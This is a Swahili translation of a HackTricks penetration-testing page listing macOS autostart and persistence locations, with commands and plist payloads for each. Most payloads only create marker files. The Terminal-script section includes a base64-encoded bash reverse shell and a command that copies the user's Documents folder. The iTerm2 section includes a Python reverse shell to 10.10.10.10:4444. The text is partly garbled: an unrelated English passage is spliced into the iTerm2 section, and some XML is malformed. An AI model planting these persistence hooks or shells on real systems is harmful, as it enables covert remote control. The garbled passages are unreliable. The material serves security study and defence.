67 KiB
Kuanza Kiotomatiki kwa macOS
Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana katika HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Sehemu hii inategemea sana kwenye mfululizo wa blogu Zaidi ya LaunchAgents nzuri, lengo ni kuongeza Maeneo zaidi ya Kuanza Kiotomatiki (ikiwezekana), kuonyesha njia zipi bado zinafanya kazi leo na toleo la karibuni la macOS (13.4) na kueleza ruhusa inayohitajika.
Kupita Kizuizi cha Sanduku la Mchanga
{% hint style="success" %} Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa kupita kizuizi cha sanduku la mchanga ambayo inakuruhusu tu kutekeleza kitu kwa kuandika kwenye faili na kungojea kwa kitendo cha kawaida sana, kiasi fulani cha muda au kitendo unachoweza kawaida kufanya ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi. {% endhint %}
Launchd
Maeneo
/Library/LaunchAgents
- Kitendo cha Kuanza: Reboot
- Inahitajika mizizi
/Library/LaunchDaemons
- Kitendo cha Kuanza: Reboot
- Inahitajika mizizi
/System/Library/LaunchAgents
- Kitendo cha Kuanza: Reboot
- Inahitajika mizizi
/System/Library/LaunchDaemons
- Kitendo cha Kuanza: Reboot
- Inahitajika mizizi
~/Library/LaunchAgents
- Kitendo cha Kuanza: Ingia tena
~/Library/LaunchDemons
- Kitendo cha Kuanza: Ingia tena
Maelezo & Uvamizi
launchd
ni mchakato wa kwanza unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na PID 1. Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika plists ya ASEP katika:
/Library/LaunchAgents
: Mawakala wa mtumiaji waliowekwa na msimamizi/Library/LaunchDaemons
: Daemons za mfumo zilizowekwa na msimamizi/System/Library/LaunchAgents
: Mawakala wa mtumiaji zinazotolewa na Apple./System/Library/LaunchDaemons
: Daemons za mfumo zinazotolewa na Apple.
Wakati mtumiaji anapoingia, plists zilizoko katika /Users/$USER/Library/LaunchAgents
na /Users/$USER/Library/LaunchDemons
zinaanza na ruhusa za watumiaji walioingia.
Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo (kwa kuwa kuna huduma kama ssh inayohitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Kuna matukio ambapo mawakala anahitaji kutekelezwa kabla ya mtumiaji kuingia, hizi huitwa PreLoginAgents. Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika /Library/LaunchAgents
(ona hapa mfano).
{% hint style="info" %}
Faili mpya za usanidi za Daemons au Agents zitapakia baada ya kuanza upya au kutumia launchctl load <target.plist>
Pia ni pweza kupakia faili za .plist bila kipanuzi hicho na launchctl -F <file>
(hata hivyo faili hizo za plist hazitapakia moja kwa moja baada ya kuanza upya).
Pia inawezekana kuzima kwa kutumia launchctl unload <target.plist>
(mchakato ulionyeshwa na hiyo utakomeshwa),
Ili kudhibitisha kwamba hakuna kitu (kama kubadilisha) kinazuia Mwakala au Daemon kutekelezwa endesha: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
{% endhint %}
Orodhesha mawakala na daemons wote waliopakiwa na mtumiaji wa sasa:
launchctl list
{% hint style="warning" %} Ikiwa plist inamilikiwa na mtumiaji, hata kama iko katika folda za mfumo wa daemon, kazi itatekelezwa kama mtumiaji na sio kama root. Hii inaweza kuzuia baadhi ya mashambulizi ya uongezaji wa mamlaka. {% endhint %}
faili za kuanza kwa shell
Maelezo: https://theevilbit.github.io/beyond/beyond_0001/
Maelezo (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Inatumika kukiuka sanduku la mchanga: ✅
- Kukiuka TCC: ✅
- Lakini unahitaji kupata programu na kukiuka TCC ambayo inatekeleza shell ambayo inapakia faili hizi
Maeneo
~/.zshrc
,~/.zlogin
,~/.zshenv.zwc
,~/.zshenv
,~/.zprofile
- Kitendo: Fungua terminal na zsh
/etc/zshenv
,/etc/zprofile
,/etc/zshrc
,/etc/zlogin
- Kitendo: Fungua terminal na zsh
- Inahitajika kuwa na haki za root
~/.zlogout
- Kitendo: Toka kwenye terminal na zsh
/etc/zlogout
- Kitendo: Toka kwenye terminal na zsh
- Inahitajika kuwa na haki za root
- Huenda kuna zaidi katika:
man zsh
~/.bashrc
- Kitendo: Fungua terminal na bash
/etc/profile
(haikufanya kazi)~/.profile
(haikufanya kazi)~/.xinitrc
,~/.xserverrc
,/opt/X11/etc/X11/xinit/xinitrc.d/
- Kitendo: Inatarajiwa kuzinduliwa na xterm, lakini haipo na hata baada ya kuiweka, kosa hili linatokea: xterm:
DISPLAY is not set
Maelezo & Utekaji
Wakati wa kuanzisha mazingira ya shell kama vile zsh
au bash
, faili za kuanza zinatekelezwa. macOS kwa sasa inatumia /bin/zsh
kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapatawa kupitia SSH. Ingawa bash
na sh
pia zipo katika macOS, lazima zitwezwe wazi ili kutumika.
Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia man zsh
una maelezo marefu ya faili za kuanza.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Programu Zilizofunguliwa tena
{% hint style="danger" %} Kuweka mazingira ya unyanyasaji ulioonyeshwa na kuingia na kutoka au hata kuzima hakukufanyia kazi kunitekelezea programu. (Programu haikuwa inatekelezwa, labda inahitaji kuwa ikifanya kazi wakati hatua hizi zinatekelezwa) {% endhint %}
Maelezo: https://theevilbit.github.io/beyond/beyond_0021/
Mahali
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
- Kichocheo: Kuanza upya kufungua tena programu
Maelezo na Unyanyasaji
Programu zote za kufunguliwa tena zimo ndani ya plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua programu yako, unahitaji tu kuongeza programu yako kwenye orodha.
UUID inaweza kupatikana kwa kuorodhesha saraka hiyo au kwa kutumia ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Ili kuchunguza programu zitakazofunguliwa tena unaweza kufanya:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Kuongeza programu kwenye orodha hii unaweza kutumia:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Mapendeleo ya Terminali
- Inatumika kukiuka sanduku la mchanga: ✅
- Kukiuka TCC: ✅
- Matumizi ya Terminali kuwa na ruhusa za FDA ikiwa mtumiaji anaitumia
Mahali
~/Library/Preferences/com.apple.Terminal.plist
- Kichocheo: Fungua Terminali
Maelezo na Utekaji
Katika ~/Library/Preferences
kuna mapendeleo ya mtumiaji katika Programu. Baadhi ya mapendeleo haya yanaweza kuwa na usanidi wa kutekeleza programu/zana nyingine.
Kwa mfano, Terminali inaweza kutekeleza amri wakati wa Kuanza:
Usanidi huu unajitokeza katika faili ~/Library/Preferences/com.apple.Terminal.plist
kama ifuatavyo:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Kwa hivyo, ikiwa plist ya mapendeleo ya terminali katika mfumo inaweza kubadilishwa, basi kazi ya open
inaweza kutumika kufungua terminali na amri hiyo itatekelezwa.
Unaweza kuongeza hii kutoka kwa cli na:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
{% endcode %}
Skripti za Terminali / Viendelezi vingine vya faili
- Inatumika kukiuka sanduku la mchanga: ✅
- Kukiuka TCC: ✅
- Matumizi ya Terminali kuwa na ruhusa za FDA ikiwa mtumiaji anaitumia
Mahali
- Mahali popote
- Kichocheo: Fungua Terminali
Maelezo & Utekaji
Ikiwa utaunda skripti ya .terminal
na kuifungua, programu ya Terminal itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminal ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa na ruhusa hizo maalum.
Jaribu hivi:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Unaweza pia kutumia vifaa vya .command
, .tool
, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal.
{% hint style="danger" %} Ikiwa terminal ina Ufikiaji Kamili wa Diski, itaweza kumaliza hatua hiyo (kumbuka kwamba amri iliyotekelezwa itaonekana kwenye dirisha la terminal). {% endhint %}
Programu za Sauti
Maelezo: https://theevilbit.github.io/beyond/beyond_0013/
Maelezo: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Mahali
/Library/Audio/Plug-Ins/HAL
- Inahitajika ruhusa ya msingi
- Kichocheo: Anza upya coreaudiod au kompyuta
/Library/Audio/Plug-ins/Components
- Inahitajika ruhusa ya msingi
- Kichocheo: Anza upya coreaudiod au kompyuta
~/Library/Audio/Plug-ins/Components
- Kichocheo: Anza upya coreaudiod au kompyuta
/System/Library/Components
- Inahitajika ruhusa ya msingi
- Kichocheo: Anza upya coreaudiod au kompyuta
Maelezo
Kulingana na maelezo ya awali, ni inawezekana kuchakata programu za sauti na kuzipakia.
Programu za QuickLook
Maelezo: https://theevilbit.github.io/beyond/beyond_0028/
Mahali
/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/
Maelezo & Utekaji
Programu za QuickLook zinaweza kutekelezwa unapoweka kielelezo cha awali cha faili (bonyeza nafasi na faili iliyochaguliwa kwenye Finder) na programu-jalizi inayounga mkono aina hiyo ya faili imewekwa.
Inawezekana kuchakata programu yako mwenyewe ya QuickLook, iweke kwenye mojawapo ya maeneo yaliyotajwa hapo awali ili kuipakia kisha nenda kwenye faili inayoungwa mkono na bonyeza nafasi kuichokoza.
Vifungo vya Kuingia/Kutoka
{% hint style="danger" %} Hii haikufanya kazi kwangu, wala na Kuingia kwa Mtumiaji wala na Kutoka kwa Msingi {% endhint %}
Maelezo: https://theevilbit.github.io/beyond/beyond_0022/
Mahali
- Unahitaji kuweza kutekeleza kitu kama
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
Iko
katika~/Library/Preferences/com.apple.loginwindow.plist
Zimepitwa na wakati lakini zinaweza kutumika kutekeleza amri wakati mtumiaji anapoingia.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Hii mipangilio inahifadhiwa katika /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Ili kufuta hiyo:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
Mmoja wa mtumiaji wa mizizi unahifadhiwa katika /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Kizuizi cha Mchanga cha Masharti
{% hint style="success" %} Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa kizuizi cha mchanga ambacho kinakuruhusu kutekeleza kitu kwa urahisi kwa kuandika kwenye faili na kutarajia hali sio za kawaida kama programu maalum zilizosanikishwa, hatua za mtumiaji "zisizo za kawaida" au mazingira. {% endhint %}
Cron
Maelezo: https://theevilbit.github.io/beyond/beyond_0004/
- Inatumika kwa kizuizi cha mchanga: ✅
- Hata hivyo, unahitaji kuweza kutekeleza
crontab
binary - Au uwe mtumiaji wa mizizi
- Kizuizi cha TCC: 🔴
Mahali
/usr/lib/cron/tabs/
,/private/var/at/tabs
,/private/var/at/jobs
,/etc/periodic/
- Mzizi unahitajika kwa ufikiaji wa kuandika moja kwa moja. Hakuna mzizi unahitajika ikiwa unaweza kutekeleza
crontab <faili>
- Kichocheo: Inategemea kazi ya cron
Maelezo & Utekaji
Panga kazi za cron za mtumiaji wa sasa na:
crontab -l
Unaweza pia kuona kazi zote za cron za watumiaji katika /usr/lib/cron/tabs/
na /var/at/tabs/
(inahitaji ruhusa ya msingi).
Katika MacOS, folda kadhaa zinazotekeleza hati za skripti kwa frekwensi fulani zinaweza kupatikana katika:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Hapo ndipo unaweza kupata kazi za cron za kawaida, kazi za at (ambazo hazitumiwi sana) na kazi za kipindi (zinazotumiwa hasa kwa kusafisha faili za muda). Kazi za kipindi za kila siku zinaweza kutekelezwa kwa mfano na: periodic daily
.
Kuongeza kazi ya cron ya mtumiaji kiotomatiki inawezekana kutumia:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Maelezo: https://theevilbit.github.io/beyond/beyond_0002/
Maeneo
~/Library/Application Support/iTerm2/Scripts/AutoLaunch
- Kichocheo: Fungua iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
- Kichocheo: Fungua iTerm
~/Library/Preferences/com.googlecode.iterm2.plist
- Kichocheo: Fungua iTerm
Maelezo & Utekaji
Scripts zilizohifadhiwa katika ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
zitatekelezwa. Kwa mfano:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
macOS Auto Start Locations
Launch Agents
These are per-user agents that run when a user logs in. They are located in ~/Library/LaunchAgents/
.
Global Launch Agents
These are similar to launch agents but run as root and are located in /Library/LaunchAgents/
.
Launch Daemons
These are system-wide daemons that run regardless of which user is logged in. They are located in /Library/LaunchDaemons/
.
Startup Items
These are legacy items that were used in older versions of macOS. They are located in /Library/StartupItems/
.
Login Items
These are items that open automatically when a user logs in. They are managed in System Preferences under Users & Groups.
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Skripti ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
pia itatekelezwa:
do shell script "touch /tmp/iterm2-autolaunchscpt"
Faili za mipangilio ya iTerm2 zilizoko katika ~/Library/Preferences/com.googlecode.iterm2.plist
zinaweza kuonyesha amri ya kutekelezwa wakati terminali ya iTerm2 inapo funguliwa.
Mipangilio hii inaweza kubadilishwa katika mipangilio ya iTerm2:
Na amri inaonekana katika mipangilio:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Unaweza kuweka amri ya kutekelezwa kwa:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
{% endcode %}
{% hint style="warning" %} Kuna uwezekano mkubwa wa kuwa na njia nyingine za kutumia mipangilio ya iTerm2 kutekeleza amri za kupindukia. {% endhint %}
xbar
Maelezo: https://theevilbit.github.io/beyond/beyond_0007/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini xbar lazima iwe imewekwa
- Kukiuka TCC: ✅
- Inahitaji ruhusa ya Ufikivu
Mahali
~/Library/Application\ Support/xbar/plugins/
- Kichocheo: Mara tu xbar inapoendeshwa
Maelezo
Ikiwa programu maarufu ya xbar imefungwa, inawezekana kuandika script ya shelisheli katika ~/Library/Application\ Support/xbar/plugins/
ambayo itatekelezwa wakati xbar inapoanzishwa:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Maelezo: https://theevilbit.github.io/beyond/beyond_0008/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini Hammerspoon lazima iwe imewekwa
- Kukiuka TCC: ✅
- Inahitaji ruhusa za Ufikivu
Mahali
~/.hammerspoon/init.lua
- Kichocheo: Mara tu Hammerspoon inapotekelezwa
Maelezo
Hammerspoon inafanya kazi kama jukwaa la kiotomatiki kwa macOS, ikichanganya lugha ya skripti ya LUA kwa shughuli zake. Kwa umuhimu, inasaidia uingizaji wa nambari kamili ya AppleScript na utekelezaji wa skripti za shell, ikiboresha uwezo wake wa skripti kwa kiasi kikubwa.
Programu hiyo inatafuta faili moja, ~/.hammerspoon/init.lua
, na wakati skripti inapoanza itatekelezwa.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini BetterTouchTool lazima iwe imewekwa
- Kukiuka TCC: ✅
- Inahitaji ruhusa za Ufikiaji wa Utoaji wa Utoaji na Ufikiaji wa Ufikiaji
Mahali
~/Library/Application Support/BetterTouchTool/*
Chombo hiki huruhusu kuonyesha programu au hati za kutekelezwa wakati baadhi ya mkato unapigwa. Mshambuliaji anaweza kuweza kusanidi mkato wake mwenyewe na hatua ya kutekelezwa katika database ili kufanya kutekeleza nambari ya kupindukia (mkato unaweza kuwa tu kubonyeza kitufe).
Alfred
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini Alfred lazima iwe imewekwa
- Kukiuka TCC: ✅
- Inahitaji ruhusa za Utoaji, Ufikiaji na hata Ufikiaji kamili wa Diski
Mahali
???
Inaruhusu kuunda mifumo ya kazi ambayo inaweza kutekeleza nambari wakati hali fulani zinakutana. Kimsingi inawezekana kwa mshambuliaji kuunda faili ya mfumo wa kazi na kufanya Alfred iipakie (inahitajika kulipa toleo la malipo kutumia mifumo ya kazi).
SSHRC
Andika: https://theevilbit.github.io/beyond/beyond_0006/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini ssh inahitaji kuwezeshwa na kutumika
- Kukiuka TCC: ✅
- SSH hutumia kupata Ufikiaji wa Diski kamili
Mahali
~/.ssh/rc
- Kichocheo: Ingia kupitia ssh
/etc/ssh/sshrc
- Inahitaji mizizi
- Kichocheo: Ingia kupitia ssh
{% hint style="danger" %} Kugeuza ssh kuwa inahitaji Ufikiaji wa Diski kamili:
sudo systemsetup -setremotelogin on
{% endhint %}
Maelezo & Utekaji
Kwa chaguo-msingi, isipokuwa PermitUserRC no
katika /etc/ssh/sshd_config
, wakati mtumiaji anapoingia kupitia SSH hati /etc/ssh/sshrc
na ~/.ssh/rc
zitatekelezwa.
Vitu vya Kuingia
Andika: https://theevilbit.github.io/beyond/beyond_0003/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini unahitaji kutekeleza
osascript
na vigezo - Kukiuka TCC: 🔴
Maeneo
~/Library/Application Support/com.apple.backgroundtaskmanagementagent
- Kichocheo: Kuingia
- Utekaji wa mzigo uliohifadhiwa unaita
osascript
/var/db/com.apple.xpc.launchd/loginitems.501.plist
- Kichocheo: Kuingia
- Inahitaji Mzizi
Maelezo
Katika Mapendeleo ya Mfumo -> Watumiaji & Vikundi -> Vitu vya Kuingia unaweza kupata vitengo vitakavyotekelezwa wakati mtumiaji anapoingia.
Inawezekana kuviorodhesha, kuongeza na kuondoa kutoka kwenye mstari wa amri:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Hizi vitu hifadhiwa kwenye faili ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Vitu vya kuingia vinaweza pia kuashiriwa kwa kutumia API SMLoginItemSetEnabled ambayo itahifadhi mazingira katika /var/db/com.apple.xpc.launchd/loginitems.501.plist
ZIP kama Kipengee cha Kuingia
(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni nyongeza)
Ikiwa unahifadhi faili ya ZIP kama Kipengee cha Kuingia, Archive Utility
itaifungua na ikiwa zip ilihifadhiwa kwa mfano katika ~/Library
na ilikuwa na Folda LaunchAgents/file.plist
yenye mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa hivyo wakati mwingine mtumiaji anapoingia tena, mlango wa nyuma ulioashiriwa kwenye plist utatekelezwa.
Chaguo lingine lingekuwa kuunda faili .bash_profile
na .zshenv
ndani ya nyumbani kwa mtumiaji hivyo ikiwa folda ya LaunchAgents tayari ipo hii mbinu bado itafanya kazi.
At
Maelezo: https://theevilbit.github.io/beyond/beyond_0014/
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini unahitaji kutekeleza
at
na lazima iwe imezimwa - Kukiuka TCC: 🔴
Mahali
- Unahitaji kutekeleza
at
na lazima iwe imezimwa
Maelezo
Kazi za at
zinabuniwa kwa ajili ya kupanga kazi za mara moja kutekelezwa wakati fulani. Tofauti na kazi za cron, kazi za at
zinaondolewa moja kwa moja baada ya kutekelezwa. Ni muhimu kutambua kwamba kazi hizi ni thabiti kupitia kuanza upya kwa mfumo, hivyo zinaweza kuwa na wasiwasi wa usalama chini ya hali fulani.
Kwa chaguo-msingi zimezimwa lakini mtumiaji wa root anaweza kuwasha hizo na:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Hii itaunda faili ndani ya saa 1:
echo "echo 11 > /tmp/at.txt" | at now+1
Angalia foleni ya kazi kwa kutumia atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Hapo juu tunaweza kuona kazi mbili zilizopangwa. Tunaweza kuchapisha maelezo ya kazi kwa kutumia at -c JOBNUMBER
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
{% hint style="warning" %} Ikiwa kazi za AT hazijawezeshwa, kazi zilizoundwa hazitatekelezwa. {% endhint %}
Faili za kazi zinaweza kupatikana kwenye /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Jina la faili lina orodha, nambari ya kazi, na wakati ambao imepangwa kufanya kazi. Kwa mfano, hebu tuangalie a0001a019bdcd2
.
a
- hii ni orodha0001a
- nambari ya kazi katika hex,0x1a = 26
019bdcd2
- wakati katika hex. Inawakilisha dakika zilizopita tangu epoch.0x019bdcd2
ni26991826
katika decimal. Tukiizidisha na 60 tunapata1619509560
, ambayo niGMT: 2021. Aprili 27., Jumanne 7:46:00
.
Ikiwa tunachapisha faili ya kazi, tunagundua ina taarifa ile ile tuliyopata kutumia at -c
.
Matendo ya Folda
Maelezo: https://theevilbit.github.io/beyond/beyond_0024/
Maelezo: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Inatumika kukiuka sanduku la mchanga: ✅
- Lakini unahitaji kuweza kuita
osascript
na hoja kuwasiliana naSystem Events
ili uweze kusanidi Matendo ya Folda - Kukiuka TCC: 🟠
- Ina idhini za msingi za TCC kama Desktop, Documents na Downloads
Mahali
/Library/Scripts/Folder Action Scripts
- Inahitaji mizizi
- Kichocheo: Kufikia folda iliyotajwa
~/Library/Scripts/Folder Action Scripts
- Kichocheo: Kufikia folda iliyotajwa
Maelezo & Utekaji
Matendo ya Folda ni hati zinazotumiwa moja kwa moja na mabadiliko katika folda kama vile kuongeza, kuondoa vitu, au matendo mengine kama vile kufungua au kurekebisha dirisha la folda. Matendo haya yanaweza kutumika kwa kazi mbalimbali, na yanaweza kuchochewa kwa njia tofauti kama kutumia UI ya Finder au amri za terminali.
Kuanzisha Matendo ya Folda, una chaguo kama:
- Kuunda mchakato wa Matendo ya Folda na Automator na kuiweka kama huduma.
- Kuambatanisha hati kwa mkono kupitia Usanidi wa Matendo ya Folda katika menyu ya muktadha wa folda.
- Kutumia OSAScript kutuma ujumbe wa Tukio la Apple kwa
System Events.app
kwa kusanidi Matendo ya Folda kwa njia ya programu.
- Mbinu hii ni muhimu hasa kwa kuingiza hatua katika mfumo, kutoa kiwango cha uthabiti.
Hati ifuatayo ni mfano wa kile kinaweza kutekelezwa na Matendo ya Folda:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
